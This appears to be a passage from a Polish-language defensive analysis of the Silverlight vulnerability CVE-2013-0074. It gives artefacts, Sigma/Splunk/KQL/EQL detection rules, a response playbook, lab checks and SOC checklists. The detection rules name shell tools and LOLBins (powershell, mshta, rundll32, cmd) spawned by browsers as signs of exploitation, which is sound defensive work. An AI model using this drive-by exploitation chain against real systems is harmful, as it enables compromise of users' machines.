Atak wymaga nakłonienia użytkownika do odwiedzenia strony WWW zawierającej złośliwą aplikację Silverlight. Wtyczka ładuje npctrl.dll i komponenty Silverlight, po czym błąd double dereference w mechanizmie renderowania HTML umożliwia kontrolę przebiegu wykonywania i wykonanie kodu z uprawnieniami użytkownika. W 2013–2015 luka była chętnie wykorzystywana w exploit kitach (często łączona z innymi błędami Silverlight, np. do obejścia mitigacji).

Dlaczego skuteczna:

  • Łańcuch drive‑by: pojedyncza wizyta na stronie/baner malvertising.
  • Kontekst użytkownika (często lokalny admin w środowiskach legacy) zwiększa wpływ – instalacja oprogramowania, modyfikacja danych, tworzenie kont.
  • W tamtym okresie szeroka obecność Silverlight (np. w środowiskach korporacyjnych), mimo że obecnie produkt jest EOL.

Artefakty i logi

ŹródłoEID / TypPrzykładowy artefakt / poleCo patrzećCloudTrailK8s auditM365 ops
SysmonEID 1 – Process CreateParentImage=iexplore.exe/firefox.exeImage=cmd.exe,powershell.exe,wscript.exe,mshta.exe,rundll32.exePotencjalne wykonanie powłoki/LOLBins z przeglądarkin/dn/dn/d
SysmonEID 7 – Image LoadedProcess=iexplore.exe ładuje npctrl.dll/agcore.dllŁadowanie pluginu Silverlight w sesji ofiaryn/dn/dn/d
Windows DefenderEID 1116 (Operational)Threat Name=Exploit:MSIL/CVE-2013-0074 (przykładowo)Detekcja AV specyficzna dla próby eksploatacjin/dn/dn/d
Aplikacja (Application log)Event ID 1000/1001Faulting module=npctrl.dllAwaria wtyczki po nieudanym exploicien/dn/dn/d
FS/artefaktyC:\Program Files (x86)\Microsoft Silverlight\ (np. sllauncher.exe, npctrl.dll), oraz HKLM\SOFTWARE\Microsoft\Silverlight (klucz Version)Inwentaryzacja wersji, obecność komponentówn/dn/dn/d

Detekcja (praktyczne reguły)

Sigma (Sysmon, podejrzane dzieci przeglądarki po załadowaniu Silverlight)

title: Possible Silverlight Exploitation (CVE-2013-0074) - Browser Spawns LOLBins
id: d3f2a0a8-2c4a-4a2a-9b4b-7b7f7c74c007
status: experimental
description: Wykrywa podejrzane procesy potomne powłok/LOLBins tworzone przez przeglądarki, co może wskazywać na wykorzystanie luki w Silverlight.
author: Badacz CVE
logsource:
  product: windows
  service: sysmon
  definition: 'EventID 1 (Process Create)'
detection:
  selection_parent:
    ParentImage|endswith:
      - '\iexplore.exe'
      - '\firefox.exe'
      - '\chrome.exe'
      - '\plugin-container.exe'
  selection_child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
      - '\cscript.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
  condition: selection_parent and selection_child
falsepositives:
  - Aktualizacje/wtyczki legacy uruchamiające instalatory (rzadkie)
level: high
tags:
  - attack.t1189
  - attack.t1203
  - cve.2013-0074

Splunk (SPL, Sysmon)

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| eval parent=lower(parent_image), child=lower(process_image)
| search parent IN ("*\\iexplore.exe","*\\firefox.exe","*\\chrome.exe","*\\plugin-container.exe")
| search child IN ("*\\cmd.exe","*\\powershell.exe","*\\wscript.exe","*\\cscript.exe","*\\mshta.exe","*\\rundll32.exe")
| stats count min(_time) as first_seen max(_time) as last_seen by host, parent, child, process_command_line, user

KQL (Microsoft Defender XDR / MDE)

DeviceProcessEvents
| where InitiatingProcessFileName in~ ("iexplore.exe","firefox.exe","chrome.exe","plugin-container.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessCommandLine

CloudTrail query (AWS)

Nie dotyczy – atak jest kliencki. Jeśli jednak Windows‑logi są forwardowane do CloudWatch Logs, użyj Logs Insights do wyszukania sllauncher.exe, npctrl.dll lub wzorca z powyższych reguł.

Elastic / EQL

process where
  process.parent.name in ("iexplore.exe","firefox.exe","chrome.exe","plugin-container.exe") and
  process.name in ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe")

Uwaga operacyjna: jeżeli logujesz Sysmon EID 7, możesz dodać korelację „ImageLoad npctrl.dll + proces‑dziecko przeglądarki w oknie kilku sekund”.


Heurystyki / korelacje

  • Korelacja fazy ładowania pluginu: ImageLoad(npctrl.dll) → w krótkim czasie dziecko przeglądarki będące LOLBin/skript hostem.
  • Exploit‑kit telemetry: wizyty z reklam/malvertising + wywołania do znanych domen EK; pomocne sygnatury IPS dla CVE‑2013‑0074.
  • AV/EDR: wykrycie Exploit:MSIL/CVE‑2013‑0074 i pokrewne sygnatury Defendera powiązać z sesją przeglądarki i artefaktami Silverlight.

False positives / tuning

  • Legitne procesy‑dzieci przeglądarki (instalatory pluginów, helpery) – dziś rzadkie.
  • Środowiska z własnymi aplikacjami Silverlight OOB (sllauncher.exe) – whitelistuj znane ścieżki i podpisy.
  • Ogranicz zakres EID 7 do procesów przeglądarek (filtrowanie Sysmon), by zbić szum.

Playbook reagowania (kroki + komendy)

  1. Identyfikacja i skoping
  • Inwentaryzuj hosty z Silverlight i wersję: Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Silverlight','HKLM:\SOFTWARE\WOW6432Node\Microsoft\Silverlight' -ErrorAction SilentlyContinue | Select-Object PSPath, Version Lub sprawdź wersję pliku: (Get-Item 'C:\Program Files (x86)\Microsoft Silverlight\sllauncher.exe').VersionInfo Wersja ≥ 5.1.20125.0 nie jest podatna (dla 2013 r.); rekomendowane całkowite usunięcie (EOL).
  1. Tymczasowe ograniczenia (legacy IE/Firefox)
  • Kill‑bit ActiveX (IE): Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{DFEAF541-F3E1-4C24-ACAC-99C30715084A}] "Compatibility Flags"=dword:00000400 (odwrócenie – usuń wpis).
  • Wyłączenie NPAPI wpisu Mozilli (historycznie): usuń klucz HKLM\SOFTWARE\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0.
  1. Usunięcie Silverlight (zalecane, EOL)
  • Cichy uninstall przez MSI (przykładowy GUID spotykany w praktyce): msiexec /x {89F4137D-6C26-4A84-BDB8-2E5A4BB71E00} /qn /norestart (Zalecane: pobrać właściwy GUID z kluczy ...CurrentVersion\Uninstall\ przed wykonaniem).
  1. Triage i dochodzenie
  • Przejrzyj Sysmon EID 1/7 w oknie czasowym alertu; wypunktuj procesy‑dzieci, DLL‑e pluginu i artefakty dyskowe.
  • Sprawdź log Defendera EID 1116 i artefakty kwarantanny.
  • Izoluj host, jeśli doszło do wykonania kodu; uruchom playbook Lateral Movement/Privilege Escalation.
  1. Remediacja i hardening
  • Upewnij się, że Silverlight jest odinstalowany w całej organizacji; w GPO/WDAC zablokuj sllauncher.exe i ActiveX CLSID.
  • Komunikacja do użytkowników nt. EOL i ryzyk.

Przykłady z kampanii / case studies

  • Exploit‑kity (np. 2014–2015) wykorzystywały CVE‑2013‑0074 w łańcuchach drive‑by; nierzadko łączone z innymi błędami Silverlight dla obejść (ROP).
  • W momencie publikacji biuletynu MS13‑022 brakowało doniesień in the wild, jednak szybko pojawiły się sigantury IPS i artefakty w IR.

Lab (bezpieczne testy) — przykładowe komendy

Wyłącznie w izolowanym labie. Celem jest weryfikacja detekcji, nie eksploatacji.

  1. Generowanie EID 7 (ImageLoad) i EID 1 (ProcessCreate):
    • Uruchom przeglądarkę IE na hoście labowym z zainstalowanym Silverlight (legacy).
    • Wejdź na wewnętrzną, nieszkodliwą stronę z aplikacją Silverlight (np. hello‑world firmy).
    • Równolegle obserwuj Microsoft-Windows-Sysmon/Operational dla ImageLoad npctrl.dll oraz ewentualnych procesów‑dzieci.
  2. Symulacja uruchomienia komponentu OOB: "C:\Program Files (x86)\Microsoft Silverlight\sllauncher.exe" /? -> powstaje EID 1 do przetestowania pipeline (alert powinien zostać benign‑closed).
  3. Walidacja reguły Sigma lokalnie: wyeksportuj logi Sysmon do pliku i przetestuj regułę narzędziem sigmac/SilkETW (dowolny standardowy workflow).

Mapowania (Mitigations, Powiązane techniki)

Mitigations (ATT&CK Enterprise):

  • M1042 – Disable or Remove Feature or Program: odinstalowanie Silverlight / zablokowanie ActiveX/NPAPI.
  • M1051 – Update Software: jeśli utrzymujesz hosty legacy – minimum to 5.1.20125.0 (historycznie), ale preferowane całkowite usunięcie (EOL 2021).
  • M1040 – Behavior Prevention on Endpoint: EDR/Exploit Guard, blokady zachowań (np. powłoki potomne przeglądarki).

Powiązane techniki ATT&CK:

  • T1189 – Drive‑by Compromise (Initial Access)
  • T1203 – Exploitation for Client Execution (Execution)

Źródła / dalsza literatura

  • NVD: opis, CVSS, data modyfikacji wpisu. (NVD)
  • MS13‑022 / KB2814124: wersje narażone, ścieżki sprawdzenia wersji, workarounds (kill‑bit, NPAPI). (Microsoft Learn)
  • CVE.org: wpis CVE‑2013‑0074. (CVE)
  • Zscaler – Exploit kits & Silverlight: tło użycia w EK (CVE‑2013‑0074, bypassy). (Zscaler)
  • SANS ISC Diary (Black Tuesday 2013): kontekst biuletynów, wstępna dostępność exploitów. (SANS Internet Storm Center)
  • Broadcom/Symantec IPS sygnatury (CVE‑2013‑0074): wskaźniki sieciowe. (Broadcom)
  • Microsoft Defender – nazwy detekcji: Exploit:MSIL/CVE‑2013‑0074 / Win32. (Microsoft)
  • Silverlight EOL (Microsoft Lifecycle): koniec wsparcia 2021‑10‑12. (Microsoft Learn)
  • Sysmon – dokumentacja EID 1/7. (Microsoft Learn)

Checklisty dla SOC / CISO

SOC:

  • Włączone i zcentralizowane logi Sysmon EID 1/7 dla procesów przeglądarek.
  • Reguły: „browser → LOLBins” + korelacja z ImageLoad(npctrl.dll).
  • Monitoruj Defender EID 1116 i automatyczne case’y IR.
  • Blokady w EDR: uruchamianie powłok z przeglądarek, wstrzyknięcia, ROP.

CISO / SecEng:

  • Odinstaluj Silverlight w całej organizacji (EOL).
  • Jeśli absolutnie potrzebny – izolacja VDI i reguły AppControl/WDAC.
  • Polityki aktualizacji/whitelisting pluginów (zablokowane ActiveX/NPAPI).
  • Przegląd zgodności: hosty legacy, stacje Kiosk/OT z instalacją Silverlight.

Uwaga końcowa: Silverlight jest wycofany od 2021‑10‑12; najsilniejszą kontrolą jest pełne usunięcie komponentu i blokady pluginów. Pozostałe hosty traktować jako techniczne długi ryzyka i izolować.